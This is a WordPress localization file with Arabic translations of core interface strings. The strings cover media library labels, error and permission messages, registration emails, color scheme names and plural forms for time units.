#: wp-includes/widgets/class-wp-widget-tag-cloud.php:26
msgid "A cloud of your most used tags."
msgstr "سحابة من وسومك الأكثر استخدامًا."

#. translators: %s: The word 'and'.
#: wp-includes/link-template.php:1826
msgid "Use commas instead of %s to separate excluded terms."
msgstr "استخدم الفواصل بدلاً من %s لفصل العناصر المستثناة."

#: wp-includes/general-template.php:4729
msgctxt "admin color scheme"
msgid "Light"
msgstr "الفاتح"

#. translators: To add an additional Open Sans character subset specific to
#. your language, translate this to 'greek', 'cyrillic' or 'vietnamese'. Do not
#. translate into your own language.
#: wp-includes/script-loader.php:1512
msgctxt "Open Sans font: add new subset (greek, cyrillic, vietnamese)"
msgid "no-subset"
msgstr "no-subset"

#: wp-includes/general-template.php:4717
msgctxt "admin color scheme"
msgid "Default"
msgstr "الافتراضي"

#. translators: %s: Support forums URL.
#: wp-includes/customize/class-wp-customize-themes-section.php:89
#: wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:149
#: wp-includes/update.php:206 wp-includes/update.php:444
#: wp-includes/update.php:725 wp-admin/includes/plugin-install.php:180
#: wp-admin/includes/plugin-install.php:195
#: wp-admin/includes/plugin-install.php:210 wp-admin/includes/theme.php:568
#: wp-admin/includes/theme.php:582 wp-admin/includes/theme.php:597
#: wp-admin/includes/translation-install.php:65
#: wp-admin/includes/translation-install.php:79
#: wp-admin/includes/translation-install.php:91
#: wp-admin/includes/update.php:140 wp-admin/theme-install.php:64
msgid "An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href=\"%s\">support forums</a>."
msgstr "حدث خطأ غير متوقع. هناك شئ خاطئ مع موقع WordPress.org أو إعدادات هذا الخادم. إذا استمرت هذه المشاكل، رجاء جرب <a href=\"%s\">منتديات الدعم الفني</a>."

#: wp-includes/general-template.php:4765
msgctxt "admin color scheme"
msgid "Midnight"
msgstr "أزرق منتصف الليل"

#. translators: Hidden accessibility text.
#: wp-includes/admin-bar.php:217 wp-includes/blocks/navigation.php:792
#: wp-includes/blocks/navigation.php:817
#: wp-includes/widgets/class-wp-nav-menu-widget.php:50
#: wp-includes/js/dist/block-library.js:30581
#: wp-includes/js/dist/block-library.js:30591
#: wp-includes/js/dist/block-library.js:31880
#: wp-includes/js/dist/block-library.js:32286
#: wp-includes/js/dist/block-library.js:32486
#: wp-includes/js/dist/core-data.js:2588
msgid "Menu"
msgstr "القائمة"

#: wp-includes/update.php:954
msgid "Translation Updates"
msgstr "تحديثات الترجمة"

#. translators: %s: Theme directory name.
#: wp-includes/class-wp-theme.php:283
msgid "The theme directory \"%s\" does not exist."
msgstr "دليل القالب \"%s\" غير موجود."

#: wp-includes/post-template.php:1771
msgid "This content is password protected. To view it please enter your password below:"
msgstr "هذا المحتوى محمي بكلمة مرور. لإظهار المحتوى يتعين عليك كتابة كلمة المرور في الأدنى:"

#: wp-includes/class-wp-query.php:1556
msgctxt "Comma-separated list of search stopwords in your language"
msgid "about,an,are,as,at,be,by,com,for,from,how,in,is,it,of,on,or,that,the,this,to,was,what,when,where,who,will,with,www"
msgstr "اجل,اذا,اذما,اذن,الا,الالاء,الالى,التي,الذي,الذين,اللائي,اللاتي,اللتان,اللتيا,اللتين,اللذان,اللذين,اللواتي,الى,ام,اما,ان,انما,او,اولئك,اولئكم,اولاء,اولالك,اي,ايا,بل,بلى,بيد,تانك,تانِ,تلك,تلكم,تلكما,تينك,ثم,ثمة,جلل,جير,حتى,ذا,ذات,ذاك,ذانك,ذانِ,ذلك,ذلكم,ذلكما,ذلكن,ذه,ذوا,ذواتا,ذواتي,ذي,ذينك,ذينِ,رب,سوف,على,عما,عن,في,فيم,فيما,قد,قط,كان,كانما,كذلك,كلا,كلاهما,كليكما,كليهما,كما,كي,لئن,لا,لات,لاسيما,لعل,لكن,لكنما,لكي,لكيلا,لم,لما,لن,لو,لولا,لوما,ليت,ما,من,منذ,نعم,هؤلاء,هاتان,هاته,هاتي,هاتين,هاهنا,هذا,هذانِ,هذه,هذي,هذينِ,هكذا,هل,هلا,هنا,هناك,هنالك,هيا"

#: wp-includes/class-wp-http-streams.php:195
#: wp-includes/class-wp-http-streams.php:204
msgid "The SSL certificate for the host could not be verified."
msgstr "تعذر التحقق من شهادة الـ SSL الخاصة بالمُضيف."

#: wp-includes/class-wp-http-curl.php:278
#: wp-includes/class-wp-http-streams.php:326
msgid "Failed to write request to temporary file."
msgstr "فشل في كتابة الملف المؤقت."

#: wp-includes/media-template.php:850
msgid "Embed Media Player"
msgstr "إدراج مشغل الوسائط"

#: wp-includes/media-template.php:860
msgid "Link to Media File"
msgstr "رابط لملف الوسائط"

#: wp-includes/media-template.php:867
msgid "Link to Attachment Page"
msgstr "رابط لصفحة المرفق"

#: wp-includes/media-template.php:474 wp-includes/media-template.php:717
#: wp-admin/includes/media.php:3396
msgid "Length:"
msgstr "المدّة:"

#: wp-includes/media-template.php:837
msgid "Embed or Link"
msgstr "رابط أو إدراج"

#: wp-includes/script-loader.php:1029
msgid "Download File"
msgstr "تحميل الملف"

#: wp-includes/script-loader.php:1038
msgid "Unmute"
msgstr "إلغاء كتم الصوت"

#: wp-includes/script-loader.php:1043
msgid "Captions/Subtitles"
msgstr "كلمات توضيحية/ترجمات"

#: wp-includes/script-loader.php:1240
#: wp-includes/js/dist/block-library.js:34079
msgid "Invalid"
msgstr "غير صالح"

#. translators: Time difference between two dates, in weeks. %s: Number of
#. weeks.
#: wp-includes/formatting.php:3849
msgid "%s week"
msgid_plural "%s weeks"
msgstr[0] "%s أسبوع"
msgstr[1] "أسبوع واحد"
msgstr[2] "أسبوعين"
msgstr[3] "%s أسابيع"
msgstr[4] "%s أسبوع"
msgstr[5] "%s أسبوع"

#. translators: Time difference between two dates, in months. %s: Number of
#. months.
#: wp-includes/formatting.php:3856
msgid "%s month"
msgid_plural "%s months"
msgstr[0] "%s شهر"
msgstr[1] "شهر واحد"
msgstr[2] "شهرين"
msgstr[3] "%s أشهر"
msgstr[4] "%s شهر"
msgstr[5] "%s شهر"

#. translators: Time difference between two dates, in years. %s: Number of
#. years.
#: wp-includes/formatting.php:3863
msgid "%s year"
msgid_plural "%s years"
msgstr[0] "%s سنة"
msgstr[1] "سنة واحدة"
msgstr[2] "سنتين"
msgstr[3] "%s سنوات"
msgstr[4] "%s سنة"
msgstr[5] "%s سنة"

#. translators: %d: ID of a post.
#. translators: %d: ID of a term.
#: wp-includes/class-walker-page-dropdown.php:80
#: wp-includes/class-walker-page.php:163
#: wp-includes/class-wp-customize-nav-menus.php:238
#: wp-includes/class-wp-customize-nav-menus.php:399
#: wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:278
#: wp-includes/nav-menu.php:866 wp-includes/nav-menu.php:908
#: wp-includes/nav-menu.php:955
msgid "#%d (no title)"
msgstr "#%d (بدون عنوان)"

#: wp-includes/post-template.php:2012
msgid "JavaScript must be enabled to use this feature."
msgstr "يجب تمكين جافا سكريبت لاستخدام هذه الميزة."

#. translators: Localized time format, see
#. https://www.php.net/manual/datetime.format.php
#. translators: Time format, see https://www.php.net/manual/datetime.format.php
#. translators: Comment time format. See
#. https://www.php.net/manual/datetime.format.php
#. translators: 1: Name of most recent post author, 2: Post edited date, 3:
#. Post edited time.
#. translators: 1: Post edited date, 2: Post edited time.
#. translators: 1: Post creation date, 2: Post creation time.
#. translators: Post time format. See
#. https://www.php.net/manual/datetime.format.php
#. translators: Default time format, see
#. https://www.php.net/manual/datetime.format.php
#: wp-includes/class-wp-locale.php:397 wp-includes/script-loader.php:152
#: wp-includes/script-loader.php:436 wp-admin/admin.php:114
#: wp-admin/comment.php:223 wp-admin/edit-form-advanced.php:627
#: wp-admin/edit-form-advanced.php:630 wp-admin/includes/ajax-actions.php:1611
#: wp-admin/includes/ajax-actions.php:2851
#: wp-admin/includes/ajax-actions.php:2854
#: wp-admin/includes/class-wp-comments-list-table.php:1007
#: wp-admin/includes/class-wp-posts-list-table.php:1172
#: wp-admin/includes/schema.php:437 wp-admin/options-general.php:317
#: wp-admin/options-general.php:396
msgid "g:i a"
msgstr "g:i a"

#: wp-includes/class-wp-xmlrpc-server.php:542
msgid "Login Address (URL)"
msgstr "عنوان تسجيل الدخول (URL)"

#: wp-includes/class-wp-xmlrpc-server.php:547
msgid "The URL to the admin area"
msgstr "رابط لوحة التحكم"

#. translators: %s: https://apps.wordpress.org
#: wp-includes/media-template.php:247 wp-admin/includes/media.php:2090
msgid "The web browser on your device cannot be used to upload files. You may be able to use the <a href=\"%s\">native app for your device</a> instead."
msgstr "المتصفح على جهازك لا يمكن استخدامه لرفع الملفات. ربما يمكنك استخدام <a href=\"%s\">تطبيق آخر يدعم جهازك</a> كبديل."

#: wp-includes/post-template.php:308
msgid "(more&hellip;)"
msgstr "(المزيد&hellip;)"

#. translators: %s: Admin email address.
#: wp-includes/user.php:3410
msgid "<strong>Error:</strong> Could not register you&hellip; please contact the <a href=\"mailto:%s\">site admin</a>!"
msgstr "<strong>خطأ:</strong> لا يمكن تسجيلك&hellip; يرجى التواصل مع <a href=\"mailto:%s\">مسؤول الموقع</a>!"

#. translators: %s: Email address.
#: wp-signup.php:878
msgid "Have you entered your email correctly? You have entered %s, if it&#8217;s incorrect, you will not receive your email."
msgstr "هل قمت بإدخال البريد الإلكتروني الخاص بك بشكل صحيح؟ لقد قمت بإدخال %s، لو كان غير صحيح، لن تتلقى بريدا إلكترونيا."

#. translators: %s: Site address.
#: wp-signup.php:1019
msgid "The site you were looking for, %s, does not exist, but you can create it now!"
msgstr "الموقع الذي كنت تبحث عنه، %s، غير موجود، لكن يمكنك إنشاءه الآن!"

#: wp-includes/functions.php:7183
msgid "The login page will open in a new tab. After logging in you can close it and return to this page."
msgstr "صفحة تسجيل الدخول ستفتح في علامة تبويب جديدة. بعد تسجيل الدخول يمكنك إغلاقها والعودة إلى هذه الصفحة."

#. translators: %s: Comment author link.
#: wp-includes/class-walker-comment.php:337
#: wp-includes/class-walker-comment.php:440
msgid "%s <span class=\"says\">says:</span>"
msgstr "<span class=\"says\">يقول</span> %s:"

#: wp-includes/general-template.php:331 wp-includes/general-template.php:341
msgctxt "submit button"
msgid "Search"
msgstr "بحث"

#. translators: Hidden accessibility text.
#: wp-includes/general-template.php:327 wp-includes/general-template.php:338
msgctxt "label"
msgid "Search for:"
msgstr "البحث عن:"

#: wp-includes/general-template.php:329
msgctxt "placeholder"
msgid "Search &hellip;"
msgstr "بحث &hellip;"

#: wp-includes/functions.php:7181 wp-includes/script-loader.php:1253
msgid "Session expired"
msgstr "انتهت صلاحية الجلسة"

#: wp-includes/class-wp-taxonomy.php:631
msgid "No tags found."
msgstr "لا توجد وسوم."

#. translators: 1: Script name, 2: wp_enqueue_scripts
#: wp-includes/functions.wp-scripts.php:311
msgid "Do not deregister the %1$s script in the administration area. To target the front-end theme, use the %2$s hook."
msgstr "لا تلغ تسجيل السكربت %1$s في منطقة الإدارة. لاستهداف قالب العرض، استخدم الخُطاف %2$s."

#: wp-includes/class-wp-xmlrpc-server.php:537 wp-admin/options-general.php:112
#: wp-admin/network/site-info.php:163 wp-admin/network/site-info.php:171
#: wp-admin/network/site-new.php:204
msgid "Site Address (URL)"
msgstr "عنوان الموقع (URL)"

#: wp-includes/class-wp-xmlrpc-server.php:532 wp-admin/options-general.php:107
msgid "WordPress Address (URL)"
msgstr "عنوان ووردبريس (URL)"

#: wp-includes/class-wp-xmlrpc-server.php:2712
#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:692
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:399
#: wp-includes/user.php:2092 wp-includes/user.php:2525
#: wp-includes/user.php:2531 wp-admin/user-edit.php:27
#: wp-admin/user-edit.php:29
msgid "Invalid user ID."
msgstr "معرف المستخدم (ID) غير صالح."

#: wp-includes/media-template.php:961
msgid "Random Order"
msgstr "ترتيب عشوائي"

#. translators: This is a would-be plural string used in the media manager. If
#. there is not a word you can use in your language to avoid issues with the
#. lack of plural support here, turn it into "selected: %d" then translate it.
#: wp-includes/media.php:4596
msgid "%d selected"
msgstr "عدد العناصر المحدّدة: %d"

#: wp-includes/media.php:4641 wp-includes/js/dist/block-editor.js:48514
msgid "Insert from URL"
msgstr "أدرج من رابط (URL)"

#: wp-includes/widgets/class-wp-widget-links.php:161
msgctxt "Links widget"
msgid "Random"
msgstr "عشوائي"

#: wp-includes/media-template.php:1518 wp-includes/media.php:4612
#: wp-admin/includes/ajax-actions.php:2228
#: wp-admin/includes/ajax-actions.php:3873
#: wp-admin/includes/class-wp-list-table.php:339
#: wp-admin/includes/class-wp-themes-list-table.php:92
msgid "No items found."
msgstr "لم يتم العثور على شيء."

#: wp-includes/media.php:4655
msgid "Reverse order"
msgstr "اعكس الترتيب"

#. translators: Hidden accessibility text.
#: wp-includes/media-template.php:617
msgid "Deselect"
msgstr "إلغاء التحديد"

#: wp-includes/media-template.php:572 wp-includes/media-template.php:735
#: wp-includes/media.php:4624
#: wp-admin/includes/class-wp-comments-list-table.php:380
#: wp-admin/includes/class-wp-media-list-table.php:185
#: wp-admin/includes/class-wp-media-list-table.php:190
#: wp-admin/includes/class-wp-posts-list-table.php:446
#: wp-admin/includes/meta-boxes.php:366 wp-admin/includes/meta-boxes.php:475
msgid "Delete permanently"
msgstr "حذف بشكل دائم"

#: wp-includes/media-template.php:255
msgid "Upload Limit Exceeded"
msgstr "تمّ تجاوز الحد المسموح للرفع."

#: wp-includes/media-template.php:353
msgid "Dismiss errors"
msgstr "تجاهل الأخطاء"

#: wp-includes/media-template.php:342
msgid "Uploading"
msgstr "جاري الرفع"

#: wp-includes/media.php:3892
msgid "No editor could be selected."
msgstr "تعذر اختيار محرر."

#: wp-includes/widgets/class-wp-widget-media-video.php:28
#: wp-includes/js/dist/block-editor.js:48464
#: wp-includes/js/dist/block-library.js:56609
#: wp-includes/js/dist/editor.js:7798
msgid "Video"
msgstr "فيديو"

#. translators: %s: Number of images.
#: wp-includes/post.php:3139
msgid "Image <span class=\"count\">(%s)</span>"
msgid_plural "Images <span class=\"count\">(%s)</span>"
msgstr[0] "صور <span class=\"count\">(%s)</span>"
msgstr[1] "صور <span class=\"count\">(%s)</span>"
msgstr[2] "صور <span class=\"count\">(%s)</span>"
msgstr[3] "صور <span class=\"count\">(%s)</span>"
msgstr[4] "صور <span class=\"count\">(%s)</span>"
msgstr[5] "صور <span class=\"count\">(%s)</span>"

#: wp-includes/post.php:3137
msgid "Manage Images"
msgstr "إدارة الصور"

#. translators: %s: Number of audio files.
#: wp-includes/post.php:3148
msgid "Audio <span class=\"count\">(%s)</span>"
msgid_plural "Audio <span class=\"count\">(%s)</span>"
msgstr[0] "صوتيات <span class=\"count\">(%s)</span>"
msgstr[1] "صوتيات <span class=\"count\">(%s)</span>"
msgstr[2] "صوتيات <span class=\"count\">(%s)</span>"
msgstr[3] "صوتيات <span class=\"count\">(%s)</span>"
msgstr[4] "صوتيات <span class=\"count\">(%s)</span>"
msgstr[5] "صوتيات <span class=\"count\">(%s)</span>"

#. translators: %s: Number of video files.
#: wp-includes/post.php:3157
msgid "Video <span class=\"count\">(%s)</span>"
msgid_plural "Video <span class=\"count\">(%s)</span>"
msgstr[0] "فيديو <span class=\"count\">(%s)</span>"
msgstr[1] "فيديو <span class=\"count\">(%s)</span>"
msgstr[2] "فيديو <span class=\"count\">(%s)</span>"
msgstr[3] "فيديو <span class=\"count\">(%s)</span>"
msgstr[4] "فيديو <span class=\"count\">(%s)</span>"
msgstr[5] "فيديو <span class=\"count\">(%s)</span>"

#: wp-includes/post.php:3146
msgid "Manage Audio"
msgstr "إدارة الصوتيات"

#: wp-includes/post.php:3155
msgid "Manage Video"
msgstr "إدارة الفيديوهات"

#: wp-includes/class-wp-post-type.php:846
msgid "Insert into page"
msgstr "إدراج في الصفحة"

#: wp-includes/class-wp-post-type.php:847
msgid "Uploaded to this page"
msgstr "المرفوعة إلى هذه الصفحة"

#: wp-includes/media.php:4610
#: wp-admin/includes/class-wp-media-list-table.php:134
msgid "All media items"
msgstr "كافة ملفات الوسائط"

#: wp-includes/widgets/class-wp-widget-media-audio.php:28
#: wp-includes/js/dist/block-editor.js:48460
#: wp-includes/js/dist/edit-site.js:13505 wp-includes/js/dist/editor.js:7774
#: wp-includes/js/dist/editor.js:13058
msgid "Audio"
msgstr "صوت"

#: wp-includes/class-wp-post-type.php:847
msgid "Uploaded to this post"
msgstr "المرفوعة إلى هذه المقالة"

#: wp-includes/media-template.php:874 wp-includes/media-template.php:1098
#: wp-includes/media-template.php:1221
msgid "Custom URL"
msgstr "رابط (URL) مخصّص"

#: wp-includes/media-template.php:647 wp-admin/upload.php:149
msgid "Attachment Details"
msgstr "تفاصيل المرفق"

#: wp-includes/media-template.php:749
msgid "Alt Text"
msgstr "النص البديل"

#: wp-includes/class-wp-editor.php:1305 wp-includes/media-template.php:946
#: wp-includes/js/dist/block-library.js:7645
#: wp-includes/js/dist/block-library.js:19247
#: wp-includes/js/dist/block-library.js:20193
#: wp-includes/js/dist/block-library.js:25651
#: wp-includes/js/dist/block-library.js:43117
#: wp-includes/js/dist/block-library.js:46327
#: wp-includes/js/dist/block-library.js:55497
#: wp-admin/includes/class-wp-screen.php:1158
msgid "Columns"
msgstr "أعمدة"

#. translators: %s: Digit to indicate multiple of sizing, eg. 2X-Large.
#: wp-includes/block-editor.php:172 wp-includes/class-wp-theme-json.php:3411
#: wp-includes/media-template.php:899 wp-includes/media-template.php:979
#: wp-includes/media-template.php:1170 wp-includes/media.php:4222
#: wp-includes/js/dist/block-editor.js:3831
#: wp-includes/js/dist/block-library.js:50221
#: wp-includes/js/dist/components.js:57235
#: wp-admin/includes/class-custom-background.php:632
#: wp-admin/includes/media.php:1196
msgid "Large"
msgstr "كبير"

#: wp-includes/media-template.php:921 wp-admin/includes/media.php:2606
msgid "Gallery Settings"
msgstr "إعدادات المعرض"

#: wp-includes/media-template.php:807
msgid "Attachment Display Settings"
msgstr "إعدادات عرض المرفق"

#: wp-includes/media.php:4650
msgid "&#8592; Cancel gallery"
msgstr "&#8592; إلغاء المعرض"

#: wp-includes/media.php:4601
msgid "Upload images"
msgstr "رفع صور"

#: wp-includes/ms-functions.php:2200
msgid "WordPress &rsaquo; Success"
msgstr "ووردبريس &rsaquo; نجاح"

#: wp-includes/media.php:4600
msgid "Upload files"
msgstr "رفع ملفات"

#: wp-includes/media.php:4651 wp-admin/includes/media.php:2677
msgid "Insert gallery"
msgstr "إدراج المعرض"

#: wp-includes/media-template.php:214 wp-includes/media-template.php:221
#: wp-includes/media-template.php:263 wp-includes/js/dist/components.js:54959
#: wp-admin/includes/media.php:2237
msgid "Drop files to upload"
msgstr "اسحب الملفات هنا لرفعها"

#: wp-includes/media.php:4604 wp-includes/js/dist/block-editor.js:48542
#: wp-admin/includes/media.php:21 wp-admin/upload.php:164
#: wp-admin/upload.php:309
msgid "Media Library"
msgstr "مكتبة الوسائط"

#: wp-includes/media.php:4648
msgid "Create gallery"
msgstr "إنشاء معرض"

#: wp-includes/ms-deprecated.php:619 wp-admin/install.php:225
msgid "Already Installed"
msgstr "تمّ التنصيب مسبقاً"

#. translators: New user notification email. %s: Activation URL.
#: wp-includes/ms-functions.php:1100
msgid ""
"To activate your user, please click the following link:\n"
"\n"
"%s\n"
"\n"
"After you activate, you will receive *another email* with your login."
msgstr ""
"لتفعيل اسم المستخدم، أنقر من فضلك على الرابط:\n"
"%s\n"
"بعد التفعيل ستصلك *رسالة أخرى* تحتوي على بيانات الدخول."

#: wp-includes/ms-deprecated.php:619 wp-admin/install.php:226
msgid "You appear to have already installed WordPress. To reinstall please clear your old database tables first."
msgstr "يبدو أنك قمت بتنصيب ووردبريس مسبقاً. لإعادة التنصيب يرجى إفراغ جداول قاعدة البيانات القديمة أولاً."

#. translators: New site notification email. 1: Site URL, 2: User IP address,
#. 3: URL to Network Settings screen.
#: wp-includes/ms-functions.php:1445
msgid ""
"New Site: %1$s\n"
"URL: %2$s\n"
"Remote IP address: %3$s\n"
"\n"
"Disable these notifications: %4$s"
msgstr ""
"موقع جديد: %1$s\n"
"الرابط: %2$s\n"
"عنوان آي بي: %3$s\n"
"\n"
"تعطيل هذه الإشعارات: %4$s"

#. translators: New user notification email. 1: User login, 2: User IP address,
#. 3: URL to Network Settings screen.
#: wp-includes/ms-functions.php:1503
msgid ""
"New User: %1$s\n"
"Remote IP address: %2$s\n"
"\n"
"Disable these notifications: %3$s"
msgstr ""
"مستخدم جديد: %1$s\n"
"عنوان الـ IP: %2$s\n"
"\n"
"تعطيل هذه الإشعارات: %3$s"

#: wp-includes/media-template.php:869 wp-includes/media-template.php:934
#: wp-includes/media-template.php:1213
#: wp-includes/js/dist/block-editor.js:51222
#: wp-includes/js/dist/block-library.js:18853
#: wp-includes/js/dist/block-library.js:19829 wp-admin/includes/media.php:2619
msgid "Attachment Page"
msgstr "صفحة المرفق"

#: wp-includes/media-template.php:862 wp-includes/media-template.php:937
#: wp-includes/media-template.php:1210
#: wp-includes/js/dist/block-editor.js:51214
#: wp-includes/js/dist/block-library.js:18856
#: wp-includes/js/dist/block-library.js:19832
msgid "Media File"
msgstr "ملف الوسائط"

#: wp-includes/media-template.php:839 wp-includes/media-template.php:924
#: wp-includes/media-template.php:1091 wp-includes/media-template.php:1206
#: wp-includes/widgets/class-wp-widget-media-image.php:105
msgid "Link To"
msgstr "رابط لـ "

#: wp-includes/media.php:4652
msgid "Update gallery"
msgstr "تحديث المعرض"

#: wp-includes/ms-functions.php:491 wp-admin/user-new.php:363
msgid "Please enter a valid email address."
msgstr "الرجاء إدخال عنوان بريد إلكتروني صالح."

#: wp-includes/ms-functions.php:159 wp-admin/user-new.php:360
msgid "The requested user does not exist."
msgstr "العضو المطلوب غير موجود."

#: wp-includes/user.php:3342 wp-admin/includes/user.php:195
msgid "<strong>Error:</strong> This username is already registered. Please choose another one."
msgstr "<strong>خطأ:</strong> اسم المستخدم هذا مسجّل بالفعل. الرجاء اختيار واحد آخر."

#: wp-includes/class-wp-image-editor-gd.php:115
#: wp-includes/class-wp-image-editor-imagick.php:161
msgid "File is not an image."
msgstr "الملف ليس صورة."

#: wp-includes/class-wp-image-editor-gd.php:338
#: wp-includes/class-wp-image-editor-gd.php:362
msgid "Image crop failed."
msgstr "فشل قص الصورة."

#: wp-includes/class-wp-image-editor-gd.php:187
#: wp-includes/class-wp-image-editor-gd.php:213
msgid "Image resize failed."
msgstr "فشل تغيير حجم الصورة."

#: wp-includes/class-wp-image-editor-gd.php:121
#: wp-includes/class-wp-image-editor-imagick.php:241
msgid "Could not read image size."
msgstr "تعذّر قراءة حجم الصورة."

#: wp-includes/class-wp-image-editor-gd.php:419
msgid "Image flip failed."
msgstr "فشل قلب الصورة."

#: wp-includes/class-wp-image-editor-gd.php:389
msgid "Image rotate failed."
msgstr "فشل تدوير الصورة."

#: wp-includes/class-wp-image-editor-gd.php:481
#: wp-includes/class-wp-image-editor-gd.php:490
#: wp-includes/class-wp-image-editor-gd.php:494
#: wp-includes/class-wp-image-editor-gd.php:498
#: wp-includes/class-wp-image-editor-gd.php:501
msgid "Image Editor Save Failed"
msgstr "فشل المحرّر في حفظ الصورة"

#: wp-includes/media.php:4606
msgid "Create a new gallery"
msgstr "إنشاء معرض جديد"

#: wp-includes/post.php:80
msgid "View Attachment Page"
msgstr "مشاهدة صفحة المرفق"

#: wp-includes/media-template.php:799 wp-includes/js/dist/components.js:37118
#: wp-includes/js/dist/components.js:42859
#: wp-includes/js/dist/components.js:55317 wp-admin/theme-install.php:240
#: wp-admin/theme-install.php:262 wp-admin/js/color-picker.js:154
msgid "Clear"
msgstr "مسح"

#. translators: 1: User's first name, 2: Last name.
#: wp-includes/author-template.php:513 wp-includes/user.php:855
#: wp-includes/user.php:2272
#: wp-admin/includes/class-wp-users-list-table.php:576
#: wp-admin/includes/class-wp-ms-users-list-table.php:303
msgctxt "Display name based on first name and last name"
msgid "%1$s %2$s"
msgstr "%1$s %2$s"

#: wp-includes/media.php:4653 wp-includes/media.php:4654
msgid "Add to gallery"
msgstr "أضف للمعرض"

#: wp-includes/class-wp-post-type.php:846
msgid "Insert into post"
msgstr "إدراج في المقالة"

#: wp-includes/taxonomy.php:2855
msgid "Could not insert term relationship into the database."
msgstr "تعذر إدخال علاقة العنصر في قاعدة البيانات."

#: wp-includes/media-template.php:504 wp-includes/media-template.php:1055
#: wp-includes/media-template.php:1118
#: wp-includes/widgets/class-wp-widget-media-image.php:98
#: wp-admin/includes/media.php:1476 wp-admin/includes/media.php:2965
#: wp-admin/includes/media.php:3222
msgid "Alternative Text"
msgstr "النص البديل"

#. translators: 1: Blog name, 2: Separator (raquo), 3: Post type name.
#: wp-includes/general-template.php:3164
msgid "%1$s %2$s %3$s Feed"
msgstr "خلاصة %1$s %2$s %3$s"

#: wp-includes/class-wp-xmlrpc-server.php:299
msgid "Incorrect username or password."
msgstr "اسم المستخدم أو كلمة المرور غير صحيحين."

#: wp-includes/class-wp-xmlrpc-server.php:288
msgid "XML-RPC services are disabled on this site."
msgstr "خدمات XML-RPC غير مفعلة في هذا الموقع."

#: wp-includes/class-wp-xmlrpc-server.php:4698
#: wp-includes/class-wp-xmlrpc-server.php:4781
msgid "Sorry, revisions are disabled."
msgstr "عذراً، المراجعات معطلة."

#: wp-includes/class-wp-xmlrpc-server.php:1756
msgid "There is a revision of this post that is more recent."
msgstr "هناك نسخة مراجعة أحدث لهذه المقالة."

#: wp-includes/widgets/class-wp-widget-recent-posts.php:180
msgid "Display post date?"
msgstr "عرض تاريخ المقالة؟"

#: wp-includes/media-template.php:264 wp-admin/includes/media.php:2238
msgctxt "Uploader: Drop files here - or - Select Files"
msgid "or"
msgstr "أو"

#: wp-includes/media-template.php:265 wp-admin/includes/media.php:2239
msgid "Select Files"
msgstr "تحديد الملفات"

#: wp-includes/class-wp-xmlrpc-server.php:5445 wp-admin/includes/post.php:41
#: wp-admin/includes/post.php:86
msgid "Sorry, you are not allowed to create pages as this user."
msgstr "عذرًا، غير مسموح لك بإنشاء صفحات بهذا المستخدم."

#: wp-includes/class-wp-xmlrpc-server.php:3307
#: wp-includes/class-wp-xmlrpc-server.php:4693
#: wp-includes/class-wp-xmlrpc-server.php:5017
#: wp-includes/class-wp-xmlrpc-server.php:6199 wp-admin/includes/post.php:501
msgid "Sorry, you are not allowed to edit posts."
msgstr "عذرًا، غير مسموح لك بتحرير مقالات."

#: wp-includes/class-wp-xmlrpc-server.php:2942
msgid "Sorry, the user could not be updated."
msgstr "عذرًا، تعذَّر تحديث المستخدم."

#: wp-includes/class-wp-admin-bar.php:467 wp-admin/menu-header.php:289
msgid "Skip to toolbar"
msgstr "التخطي إلى شريط الأدوات"

#: wp-includes/class-wp-editor.php:193 wp-includes/class-wp-editor.php:1390
msgctxt "Name for the Text editor tab (formerly HTML)"
msgid "Text"
msgstr "نص"

#: wp-includes/class-wp-customize-manager.php:5290
msgid "Header Text Color"
msgstr "لون خط الترويسة"

#: wp-includes/class-wp-customize-manager.php:5256
#: wp-includes/js/dist/edit-site.js:9974 wp-includes/js/dist/edit-site.js:11102
msgid "Colors"
msgstr "الألوان"

#: wp-includes/script-loader.php:1244 wp-includes/js/dist/edit-site.js:8071
#: wp-includes/js/dist/editor.js:11523 wp-admin/js/widgets.js:130
#: wp-admin/js/widgets.js:575
msgid "Saved"
msgstr "تم الحفظ"

#: wp-includes/script-loader.php:1232
msgid "Save &amp; Publish"
msgstr "حفظ ونشر"

#: wp-includes/customize/class-wp-customize-media-control.php:256
#: wp-includes/customize/class-wp-customize-media-control.php:261
msgid "Select file"
msgstr "تحديد ملف"

#: wp-includes/admin-bar.php:485
#: wp-includes/customize/class-wp-customize-theme-control.php:240
#: wp-admin/customize.php:206
#: wp-admin/includes/class-theme-upgrader-skin.php:92
#: wp-admin/includes/theme.php:1054 wp-admin/menu.php:224
#: wp-admin/theme-install.php:410 wp-admin/themes.php:549
#: wp-admin/themes.php:908 wp-admin/themes.php:1143
msgid "Customize"
msgstr "تخصيص"

#: wp-includes/class-wp-xmlrpc-server.php:783
msgid "Insufficient arguments passed to this XML-RPC method."
msgstr "تم إرسال متغيرات غير كافية إلى أسلوب الـXML-RPC هذا."

#: wp-includes/class-wp-xmlrpc-server.php:1380
msgid "Sorry, you cannot stick a private post."
msgstr "عذراً، لا يمكنك تثبيت مقالة خاصة."

#: wp-includes/class-wp-xmlrpc-server.php:5922
msgid "Sorry, you are not allowed to publish this page."
msgstr "عذرًا، غير مسموح لك نشر هذه الصفحة."

#: wp-includes/class-wp-customize-manager.php:5351
#: wp-includes/customize/class-wp-customize-header-image-control.php:55
#: wp-admin/includes/class-custom-image-header.php:110
#: wp-admin/includes/class-custom-image-header.php:531
#: wp-admin/includes/template.php:2404 wp-admin/includes/template.php:2411
msgid "Header Image"
msgstr "صورة الترويسة"

#: wp-includes/class-wp-xmlrpc-server.php:577
msgid "Post Thumbnail"
msgstr "الصورة المصغّرة للمقالة"

#: wp-includes/script-loader.php:730
msgid "text direction"
msgstr "اتجاه النص"

#: wp-includes/script-loader.php:731
msgid "Toggle Editor Text Direction"
msgstr "تبديل اتجاه محرر النص"

#: wp-includes/ms-functions.php:653
msgid "That name is not allowed."
msgstr "هذا الاسم غير مسموح به."

#: wp-includes/ms-functions.php:695
msgid "Please enter a site title."
msgstr "يُرجى إدخال عنوان للموقع."

#: wp-includes/ms-functions.php:497
msgid "Username must be at least 4 characters."
msgstr "يجب أن يحتوي اسم المستخدم على 4 أحرف على الأقل."

#: wp-includes/ms-functions.php:645
msgid "Please enter a site name."
msgstr "يُرجى إدخال اسم للموقع."

#: wp-includes/ms-functions.php:471
msgid "Please enter a username."
msgstr "يُرجى إدخال اسم مستخدم."

